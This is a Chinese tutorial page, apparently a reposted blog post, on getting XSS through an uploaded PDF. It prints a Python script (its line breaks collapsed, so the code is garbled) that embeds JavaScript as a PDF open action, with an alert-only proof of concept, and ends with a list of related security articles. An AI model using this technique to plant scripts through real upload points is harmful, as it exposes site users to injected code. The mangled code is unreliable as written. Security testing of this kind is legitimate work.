PDF如何XSS

简介

在上传点时,如果上传不了图片格式的文件,可以尝试上传html或者pdf文件来达到xss的效果。上传html就不多说了,下面来说说怎么让pdf弹窗。

操作步骤:
环境准备:python3
需要准备poc.py和poc.js
poc.py内容

# FROM https://github.com/osnr/horrifying-pdf-experiments
import sysfrom pdfrw import PdfWriter
from pdfrw.objects.pdfname import PdfName
from pdfrw.objects.pdfstring import PdfString
from pdfrw.objects.pdfdict import PdfDict
from pdfrw.objects.pdfarray import PdfArraydef make_js_action(js):action = PdfDict()action.S = PdfName.JavaScriptaction.JS = jsreturn actiondef make_field(name, x, y, width, height, r, g, b, value=""):annot = PdfDict()annot.Type = PdfName.Annotannot.Subtype = PdfName.Widgetannot.FT = PdfName.Txannot.Ff = 2annot.Rect = PdfArray([x, y, x + width, y + height])annot.MaxLen = 160annot.T = PdfString.encode(name)annot.V = PdfString.encode(value)# Default appearance stream: can be arbitrary PDF XObject or# something. Very general.annot.AP = PdfDict()ap = annot.AP.N = PdfDict()ap.Type = PdfName.XObjectap.Subtype = PdfName.Formap.FormType = 1ap.BBox = PdfArray([0, 0, width, height])ap.Matrix = PdfArray([1.0, 0.0, 0.0, 1.0, 0.0, 0.0])ap.stream = """
%f %f %f rg
0.0 0.0 %f %f re f
""" % (r, g, b, width, height)# It took me a while to figure this out. See PDF spec:# https://www.adobe.com/content/dam/Adobe/en/devnet/acrobat/pdfs/pdf_reference_1-7.pdf#page=641# Basically, the appearance stream we just specified doesn't# follow the field rect if it gets changed in JS (at least not in# Chrome).# But this simple MK field here, with border/color# characteristics, _does_ follow those movements and resizes, so# we can get moving colored rectangles this way.annot.MK = PdfDict()annot.MK.BG = PdfArray([r, g, b])return annotdef make_page(fields, script):page = PdfDict()page.Type = PdfName.Pagepage.Resources = PdfDict()page.Resources.Font = PdfDict()page.Resources.Font.F1 = PdfDict()page.Resources.Font.F1.Type = PdfName.Fontpage.Resources.Font.F1.Subtype = PdfName.Type1page.Resources.Font.F1.BaseFont = PdfName.Helveticapage.MediaBox = PdfArray([0, 0, 612, 792])page.Contents = PdfDict()page.Contents.stream = """
BT
/F1 24 Tf
ET"""annots = fieldspage.AA = PdfDict()# You probably should just wrap each JS action with a try/catch,# because Chrome does no error reporting or even logging otherwise;# you just get a silent failure.page.AA.O = make_js_action("""
try {%s
} catch (e) {app.alert(e.message);
}""" % (script))page.Annots = PdfArray(annots)return pageif len(sys.argv) > 1:js_file = open(sys.argv[1], 'r')fields = []for line in js_file:if not line.startswith('/// '): breakpieces = line.split()params = [pieces[1]] + [float(token) for token in pieces[2:]]fields.append(make_field(*params))js_file.seek(0)out = PdfWriter()out.addpage(make_page(fields, js_file.read()))out.write('result.pdf')

poc.js内容

app.alert("test")

直接执行命令python3 poc.py poc.js,会在当前路径生成一个result.pdf文件,直接打开这个pdf文件就能弹窗
在这里插入图片描述
直接打开
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/358140.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

NOI 练手题 图像旋转翻转变换

题目:来源http://noi.openjudge.cn/ch0112/09/ 总时间限制: 1000ms内存限制: 65536kB描述给定m行n列的图像各像素点灰度值,对其依次进行一系列操作后,求最终图像。 其中,可能的操作及对应字符有如下四种: A&#xff1a…

CSDN Chrome插件来啦,听说可以提升开发者效率,我们先来研究一波

孙叫兽,安徽宿州人,北漂前端全栈程序员(朝着这个目标努力),如果你觉得这篇文章帮助了你,记得三连👉(转发+点赞+评论),技术交流请联系个人主页左侧导航栏。 这个插件的定位是提升程序员的开发效率的,至于哪方面?自己慢慢体会,我大致的感觉就是搜索引擎的导航网站的…

C盘全面清理教程!彻底清理所有垃圾!

预计阅读时间 10分钟 资源在文末获取哦 老懒粉应该知道,我们写过“宇宙最细”的系统安装/重装教程 但我们除了新机,通常情况下重装系统的目的是什么? 虽然不管电脑出现了什么样的软件方面问题,我们都可以通过重装系统来一劳永…

url重定向绕过方式

url重定向绕过方式 俗话说的好,上有政策,下有对策,url重定向的绕过姿势也越来越多样化。普通url重定向方法测试不成功,换个姿势,说不定可以再次绕过。 这里总结下成功的绕过方式。 (1) 使用…

【转】android:DDMS查看Threads--不错

原文网址:http://www.cnblogs.com/mybkn/archive/2012/05/27/2520335.html 有时候程序运行出现死锁或者信号量卡死是很纠结的问题,单看代码很难分析定位问题,这时候可以借助DDMS来查看threads的运行情况,一目了然。 手机连接上USB…

Fastjson反序列化漏洞复现(实战案例)

漏洞介绍 FastJson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。 通俗理解就是:漏洞利用fastjson autotype在处理json对…

SVN Error: Can‘t connect to host xxxxx‘: 由于目标计算机积极拒绝,无法连接,的最快解决办法

孙叫兽,前端全栈,微信公众号:电商程序员。如果本文对你有帮助,记得点赞关注,谢谢! 每次换个新电脑,新项目,新场地,新公司都有可能使用SVN下载老项目,有的是用内网&#x…

百度地图接口调用

当我们网站需要调用百度地图接口的时候,可以使用如下方法: 1.如何获取经纬度坐标 1.打开百度地图,在百度地图最底部找到“地图开放平台”链接。 2.进入“百度地图开放平台”网站中,在导航中选择“”开发文档>坐标拾取器“”…

信息安全系统设计基础第六周学习总结

第六章 存储器层次结构 存储器系统 是一个具有不同容量、成本和访问时间的存储设备的层次结构。 1.CPU寄存器:容量小,成本高,访问快 2.高速缓存存储器:CPU和主存之间的缓存区域 3.主存:磁盘上大容量,成本低…

phpStudy + PhpStorm + XDebug调试【绝对能用】

具体参照的是这篇文章:https://blog.csdn.net/weixin_40418199/article/details/79088365 文章有些地方说的不是很详细想重写整理下。 【PHPStudy演示的版本为:PHP5.4.45-Apache】 1.PHPStudy配置 PHPStudy自带了XDebug的扩展,不需要下载 php…

加密编码类型的密文特征分析

转载https://blog.csdn.net/weixin_45728976/article/details/109219997 MD5、sha1、HMAC算法、NTLM等相似加密类型 1、MD5——示例21232F297A57A5A743894A0E4A801FC3 一般MD5值是32位由数字“0-9”和字母“a-f”所组成的字符串,如图。如果出现这个范围以外的字符…

孙叫兽进阶之路之如何进行情绪管理

程序员不光有硬实力,更要有软实力。 程序员文武双全之道。 ---孙叫兽,前端全栈程序员,微信公众号:电商程序员。 情绪的作用,存在于我们每天的工作和生活中,无时不刻地影响着人们的思想和行为。如何控制和管…

javaone_JavaOne正在重建动力

javaone在JavaOne上度过了一个非常忙碌的一周,今年的活动有很多让人喜欢的地方。 有很多惊喜的公告,很多很好的内容/会议,并且在场地和组织上都有很多改进。 对于一直耐心等待我发表所有演讲的人们,我为您的延迟表示歉意……给4个…

夜神模拟器安装证书之burp抓包

安装步骤 1.http 不需要安装证书即可抓app包 2.https 需要安装证书 一、设置burp代理 注意IP是本机下的ip 二、模拟器设置代理 点击wifi长按鼠标修改网络 三、导出CA证书 模拟器中进入http://burp页面,点击黄色的地方下载 下载证书,可以选择本…

接手一个项目,后缀名为.bak文件,原来它是这个意思

.bak是备份文件,为文件格式扩展bai名,这类文件一du般在.bak前面加上应该有zhi原来的扩展名比如windows.dll.bak,或是windows_dll.bak,有dao的则是由原文件的后缀名和bak混合而成,如proteus的备份文件为.DBK。很多软件,…

java大佬是如何快速配置IntelliJ IDEA的Tomcat及安装配置Tomcat及java开发环境

孙叫兽,前端全栈工程师,java工程师。编译器及工具可以在主页QQ群群文件获取。 JDK 可以到官网下载:http://www.oracle.com/technetwork/java/javase/downloads/jdk8-downloads-2133151.html Tomcat下载:Http://tomcat.apache.org/ IntelliJ IDEA下载:https://www.jetbrain…

应急响应 WEB 分析日志攻击,后门木马(手动分析 和 自动化分析.)

转载文章:https://blog.csdn.net/weixin_54977781/article/details/124976164?spm1001.2100.3001.7377&utm_mediumdistribute.pc_feed_blog_category.none-task-blog-classify_tag-17-124976164-null-null.nonecase&depth_1-utm_sourcedistribute.pc_feed_…

thinkphp第一节结构

thinkphp 网站:http://thinkphp.cn 输入网址:localhost:8080/demo/ 则说明thinkphp安装成功 目录结构如下: application子目录结构: common:公用文件目录 home:Home模板 Runtime:记录运行信息 home目录下&a…

孙叫兽进阶之路之软件开发生命周期

孙叫兽,前端全栈开发工程师,java工程师。 软件开发生命周期:

常用的30+种未授权访问漏洞汇总

未授权访问漏洞汇总预览 1 、FTP 未授权访问(21) 2 、LDAP 未授权访问(389) 3 、Rsync 未授权访问(873) 4 、ZooKeeper 未授权访问(2181) 5 、Docker 未授权访问(2375&a…